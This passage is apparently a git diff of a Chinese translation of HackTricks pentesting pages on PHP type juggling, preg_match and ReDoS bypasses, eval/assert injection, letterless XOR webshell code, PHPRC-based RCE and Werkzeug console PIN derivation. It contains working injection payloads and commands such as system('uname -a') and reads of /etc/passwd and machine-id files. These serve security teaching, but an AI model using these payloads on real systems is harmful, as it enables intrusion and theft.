* `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串**: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
* `"X" == 0 --> True` 字符串中的任何字母等于 int 0
|
* `"X" == 0 --> True` 字符串中的任何字母等于 int 0
|
||||||
|
|
||||||
|
@ -68,7 +72,7 @@ var_dump(in_array(0, $values, true));
|
||||||
```
|
```
|
||||||
### strcmp()/strcasecmp()
|
### strcmp()/strcasecmp()
|
||||||
|
|
||||||
如果此函数用于**任何身份验证检查**(例如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
|
如果此函数用于**任何身份验证检查**(如检查密码),并且用户控制比较的一侧,他可以发送一个空数组而不是字符串作为密码的值(`https://example.com/login.php/?username=admin&password[]=`),从而绕过此检查:
|
||||||
```php
|
```php
|
||||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||||
// Real Password
|
// Real Password
|
||||||
|
@ -79,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
||||||
|
|
||||||
### 严格类型转换
|
### 严格类型转换
|
||||||
|
|
||||||
即使使用了 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
即使使用 `===`,也可能出现错误,使得比较容易受到类型转换的影响。例如,如果比较是在比较之前将数据转换为不同类型的对象:
|
||||||
```php
|
```php
|
||||||
(int) "1abc" === (int) "1xyz" //This will be true
|
(int) "1abc" === (int) "1xyz" //This will be true
|
||||||
```
|
```
|
||||||
|
@ -102,7 +106,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||||
echo preg_match("/^.*1.*$/",$myinput);
|
echo preg_match("/^.*1.*$/",$myinput);
|
||||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||||
```
|
```
|
||||||
要绕过此检查,您可以**发送带有换行符的 URL 编码值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**发送:
|
要绕过此检查,您可以**发送带有换行符的 URL 编码值**(`%0A`),或者如果您可以发送**JSON 数据**,则将其分成**多行**:
|
||||||
```php
|
```php
|
||||||
{
|
{
|
||||||
"cmd": "cat /etc/passwd"
|
"cmd": "cat /etc/passwd"
|
||||||
|
@ -119,7 +123,7 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
||||||
|
|
||||||
#### ReDoS Bypass
|
#### ReDoS 绕过
|
||||||
|
|
||||||
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||||
|
|
||||||
|
@ -128,9 +132,9 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
||||||
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
|
简而言之,问题发生是因为 PHP 中的 `preg_*` 函数基于 [PCRE 库](http://www.pcre.org/)。在 PCRE 中,某些正则表达式通过大量递归调用进行匹配,这会消耗大量的栈空间。可以设置允许的递归次数限制,但在 PHP 中,这个限制 [默认为 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit),这超过了栈的容量。
|
||||||
|
|
||||||
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
|
[这个 Stackoverflow 线程](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) 也在帖子中被链接,深入讨论了这个问题。我们的任务现在很明确:\
|
||||||
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个类似 `{system(<verybadcommand>)}` 的惊喜以获得 SSTI --> RCE --> flag :)**。
|
**发送一个输入,使正则表达式进行 100\_000+ 次递归,导致 SIGSEGV,使得 `preg_match()` 函数返回 `false`,从而使应用程序认为我们的输入不是恶意的,在有效负载的最后抛出一个像 `{system(<verybadcommand>)}` 的惊喜以获取 SSTI --> RCE --> flag :)**。
|
||||||
|
|
||||||
好吧,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1\_000\_000(1M)。\
|
好吧,从正则表达式的角度来看,我们实际上并没有进行 100k 次“递归”,而是计算“回溯步骤”,正如 [PHP 文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) 所述,它在 `pcre.backtrack_limit` 变量中默认为 1\_000\_000(1M)。\
|
||||||
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后):
|
要达到这个,`'X'*500_001` 将导致 100 万个回溯步骤(50万向前和50万向后):
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
|
@ -168,8 +172,8 @@ readfile($page);
|
||||||
|
|
||||||
## 更多技巧
|
## 更多技巧
|
||||||
|
|
||||||
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖代码中使用的变量**。
|
* **register\_globals**: 在 **PHP < 4.1.1.1** 或者如果配置错误,**register\_globals** 可能是激活的(或者其行为被模拟)。这意味着在全局变量如 $\_GET 中,如果它们有值,例如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖** 在代码中使用的变量。
|
||||||
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置另一个路径 cookie 的值。\
|
* **同一域的 PHPSESSION cookies 存储在同一位置**,因此如果在一个域中 **不同路径使用不同的 cookies**,你可以使该路径 **访问该路径的 cookie**,设置其他路径 cookie 的值。\
|
||||||
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
这样,如果 **两个路径访问同名变量**,你可以使 **路径1中的该变量的值应用于路径2**。然后路径2将视路径1的变量为有效(通过给 cookie 赋予在路径2中对应的名称)。
|
||||||
* 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
* 当你拥有机器用户的 **用户名** 时。检查地址:**/\~\<USERNAME>** 以查看 php 目录是否被激活。
|
||||||
* [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
* [**使用 php 包装器的 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
|
||||||
|
@ -189,7 +193,7 @@ True
|
||||||
|
|
||||||
#### Causing error after setting headers
|
#### Causing error after setting headers
|
||||||
|
|
||||||
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHP 不会在响应中设置头部。
|
从 [**这个推特线程**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) 你可以看到,发送超过 1000 个 GET 参数或 1000 个 POST 参数或 20 个文件时,PHOP 不会在响应中设置头部。
|
||||||
|
|
||||||
这允许绕过例如在代码中设置的 CSP 头部,如:
|
这允许绕过例如在代码中设置的 CSP 头部,如:
|
||||||
```php
|
```php
|
||||||
|
@ -199,7 +203,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||||
```
|
```
|
||||||
#### 在设置头部之前填充主体
|
#### 在设置头部之前填充主体
|
||||||
|
|
||||||
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以便在尝试 **将头部添加** 到响应时,服务器会抛出错误。\
|
如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**,用户可以使 PHP 服务器打印出一些 **足够长的内容**,以至于当它尝试 **将头部添加** 到响应中时,服务器会抛出错误。\
|
||||||
在以下场景中,**攻击者使服务器抛出了一些大的错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
在以下场景中,**攻击者使服务器抛出了一些大的错误**,正如您在屏幕上看到的,当 PHP 尝试 **修改头部信息时,它无法**(例如 CSP 头部没有发送给用户):
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (1085).png>)
|
![](<../../../.gitbook/assets/image (1085).png>)
|
||||||
|
@ -226,9 +230,9 @@ preg_replace(pattern,replace,base)
|
||||||
preg_replace("/a/e","phpinfo()","whatever")
|
preg_replace("/a/e","phpinfo()","whatever")
|
||||||
```
|
```
|
||||||
要在“replace”参数中执行代码,至少需要一个匹配项。\
|
要在“replace”参数中执行代码,至少需要一个匹配项。\
|
||||||
此选项在 PHP 5.5.0 中已被**弃用**。
|
此preg\_replace选项在PHP 5.5.0中已被**弃用**。
|
||||||
|
|
||||||
### **通过 Eval() 进行 RCE**
|
### **通过Eval()进行RCE**
|
||||||
```
|
```
|
||||||
'.system('uname -a'); $dummy='
|
'.system('uname -a'); $dummy='
|
||||||
'.system('uname -a');#
|
'.system('uname -a');#
|
||||||
|
@ -238,7 +242,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
||||||
```
|
```
|
||||||
### **通过 Assert() 实现 RCE**
|
### **通过 Assert() 实现 RCE**
|
||||||
|
|
||||||
此函数在 php 中允许您 **执行以字符串编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入在字符串中间。例如:\
|
此函数在 php 中允许您 **执行以字符串形式编写的代码** 以 **返回 true 或 false**(并根据此改变执行)。通常用户变量会插入到字符串中间。例如:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做:
|
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要获得 **RCE**,您可以这样做:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
|
@ -272,7 +276,7 @@ function foo($x,$y){
|
||||||
usort();}phpinfo;#, "cmp");
|
usort();}phpinfo;#, "cmp");
|
||||||
}?>
|
}?>
|
||||||
```
|
```
|
||||||
您还可以使用 **//** 注释其余的代码。
|
您还可以使用 **//** 注释代码的其余部分。
|
||||||
|
|
||||||
要发现您需要关闭的括号数量:
|
要发现您需要关闭的括号数量:
|
||||||
|
|
||||||
|
@ -288,7 +292,7 @@ usort();}phpinfo;#, "cmp");
|
||||||
|
|
||||||
### 通过环境变量进行 RCE
|
### 通过环境变量进行 RCE
|
||||||
|
|
||||||
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个漏洞可以上传文件,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**。
|
如果您发现一个漏洞,允许您 **修改 PHP 中的环境变量**(还有另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为获得 **RCE**。
|
||||||
|
|
||||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
|
||||||
* **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
|
* **`PHPRC`**:指示 PHP **在哪里查找其配置文件**,通常称为 `php.ini`。如果您可以上传自己的配置文件,则使用 `PHPRC` 指向它。添加一个 **`auto_prepend_file`** 条目,指定第二个上传的文件。这个第二个文件包含正常的 **PHP 代码,然后由 PHP 运行时执行**,在任何其他代码之前。
|
||||||
|
@ -333,17 +337,17 @@ phpinfo();
|
||||||
```
|
```
|
||||||
## PHP 静态分析
|
## PHP 静态分析
|
||||||
|
|
||||||
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
查看您是否可以在对这些函数的调用中插入代码(来自 [这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
|
||||||
```php
|
```php
|
||||||
exec, shell_exec, system, passthru, eval, popen
|
exec, shell_exec, system, passthru, eval, popen
|
||||||
unserialize, include, file_put_cotents
|
unserialize, include, file_put_cotents
|
||||||
$_COOKIE | if #This mea
|
$_COOKIE | if #This mea
|
||||||
```
|
```
|
||||||
如果您正在调试一个 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache: `sudo systemctl restart apache2`
|
如果您正在调试一个 PHP 应用程序,可以在 `/etc/php5/apache2/php.ini` 中全局启用错误打印,添加 `display_errors = On` 并重启 apache:`sudo systemctl restart apache2`
|
||||||
|
|
||||||
### 解混淆 PHP 代码
|
### 反混淆 PHP 代码
|
||||||
|
|
||||||
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来解混淆 php 代码。**
|
您可以使用 **web**[ **www.unphp.net**](http://www.unphp.net) **来反混淆 php 代码。**
|
||||||
|
|
||||||
## PHP 包装器和协议
|
## PHP 包装器和协议
|
||||||
|
|
||||||
|
@ -351,7 +355,7 @@ PHP 包装器和协议可能允许您 **绕过系统中的读写保护** 并危
|
||||||
|
|
||||||
## Xdebug 未经身份验证的 RCE
|
## Xdebug 未经身份验证的 RCE
|
||||||
|
|
||||||
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE。
|
如果您在 `phpconfig()` 输出中看到 **Xdebug** 已 **启用**,您应该尝试通过 [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) 获取 RCE
|
||||||
|
|
||||||
## 变量变量
|
## 变量变量
|
||||||
```php
|
```php
|
||||||
|
@ -367,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
|
||||||
```
|
```
|
||||||
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
|
## RCE 利用新的 $\_GET\["a"]\($\_GET\["b")
|
||||||
|
|
||||||
如果在一个页面中你可以**创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
|
如果在一个页面中你可以 **创建一个任意类的新对象**,你可能能够获得 RCE,查看以下页面以了解如何:
|
||||||
|
|
||||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||||
|
@ -388,16 +392,16 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
|
||||||
$___=$__; #Could be not needed inside eval
|
$___=$__; #Could be not needed inside eval
|
||||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||||
```
|
```
|
||||||
### XOR 简易 Shell 代码
|
### XOR easy shell code
|
||||||
|
|
||||||
根据 [**这篇文章**](https://mgp25.com/ctf/Web-challenge/) ,可以通过这种方式生成一个简易的 Shell 代码:
|
根据[**这篇文章**](https://mgp25.com/ctf/Web-challenge/),可以通过这种方式生成一个简单的 shellcode:
|
||||||
```php
|
```php
|
||||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||||
|
|
||||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||||
```
|
```
|
||||||
所以,如果你可以**在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP:
|
所以,如果你可以 **在没有数字和字母的情况下执行任意 PHP**,你可以发送如下请求,利用该有效载荷执行任意 PHP:
|
||||||
```
|
```
|
||||||
POST: /action.php?_=system&__=cat+flag.php
|
POST: /action.php?_=system&__=cat+flag.php
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
@ -464,21 +468,25 @@ $____.=$__;
|
||||||
$_=$$____;
|
$_=$$____;
|
||||||
$___($_[_]); // ASSERT($_POST[_]);
|
$___($_[_]); // ASSERT($_POST[_]);
|
||||||
```
|
```
|
||||||
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,7 +17,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -37,27 +39,27 @@ __import__('os').popen('whoami').read();
|
||||||
|
|
||||||
### Werkzeug 控制台 PIN 漏洞
|
### Werkzeug 控制台 PIN 漏洞
|
||||||
|
|
||||||
在应用程序中强制出现调试错误页面以查看此内容:
|
在应用中强制出现调试错误页面以查看此内容:
|
||||||
```
|
```
|
||||||
The console is locked and needs to be unlocked by entering the PIN.
|
The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
在尝试访问 Werkzeug 的调试接口时,会遇到关于“控制台锁定”场景的消息,指示需要一个 PIN 来解锁控制台。建议通过分析 Werkzeug 的调试初始化文件 (`__init__.py`) 中的 PIN 生成算法来利用控制台 PIN。可以从 [**Werkzeug 源代码库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) 学习 PIN 生成机制,但建议通过文件遍历漏洞获取实际服务器代码,以避免潜在的版本差异。
|
在尝试访问 Werkzeug 的调试接口时,会遇到关于“控制台锁定”场景的消息,指示需要一个 PIN 来解锁控制台。建议通过分析 Werkzeug 的调试初始化文件 (`__init__.py`) 中的 PIN 生成算法来利用控制台 PIN。可以从 [**Werkzeug 源代码库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) 研究 PIN 生成机制,但建议通过文件遍历漏洞获取实际服务器代码,以避免潜在的版本差异。
|
||||||
|
|
||||||
要利用控制台 PIN,需要两组变量,`probably_public_bits` 和 `private_bits`:
|
要利用控制台 PIN,需要两组变量,`probably_public_bits` 和 `private_bits`:
|
||||||
|
|
||||||
#### **`probably_public_bits`**
|
#### **`probably_public_bits`**
|
||||||
|
|
||||||
* **`username`**: 指发起 Flask 会话的用户。
|
* **`username`**:指发起 Flask 会话的用户。
|
||||||
* **`modname`**: 通常指定为 `flask.app`。
|
* **`modname`**:通常指定为 `flask.app`。
|
||||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 通常解析为 **Flask**。
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**:通常解析为 **Flask**。
|
||||||
* **`getattr(mod, '__file__', None)`**: 表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
|
* **`getattr(mod, '__file__', None)`**:表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
|
||||||
|
|
||||||
#### **`private_bits`**
|
#### **`private_bits`**
|
||||||
|
|
||||||
* **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
|
* **`uuid.getnode()`**:获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
|
||||||
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找到设备 ID,然后 **从 `/sys/class/net/<device id>/address` 提取 MAC 地址**。
|
* 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以查找设备 ID,然后 **从 `/sys/class/net/<device id>/address` 提取 MAC 地址**。
|
||||||
* 可以按如下方式将十六进制 MAC 地址转换为十进制:
|
* 可以按如下方式将十六进制 MAC 地址转换为十进制:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
@ -65,11 +67,11 @@ shell that runs the server
|
||||||
>>> print(0x5600027a23ac)
|
>>> print(0x5600027a23ac)
|
||||||
94558041547692
|
94558041547692
|
||||||
```
|
```
|
||||||
* **`get_machine_id()`**: 将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
|
* **`get_machine_id()`**:将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>代码 `get_machine_id()`</summary>
|
<summary>`get_machine_id()` 的代码</summary>
|
||||||
```python
|
```python
|
||||||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||||||
global _machine_id
|
global _machine_id
|
||||||
|
@ -165,7 +167,7 @@ print(rv)
|
||||||
|
|
||||||
## Werkzeug Unicode 字符
|
## Werkzeug Unicode 字符
|
||||||
|
|
||||||
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
|
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。而正如在 [**这个写作**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
|
||||||
|
|
||||||
这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
|
这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是通过 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
|
||||||
|
|
||||||
|
@ -182,7 +184,9 @@ print(rv)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
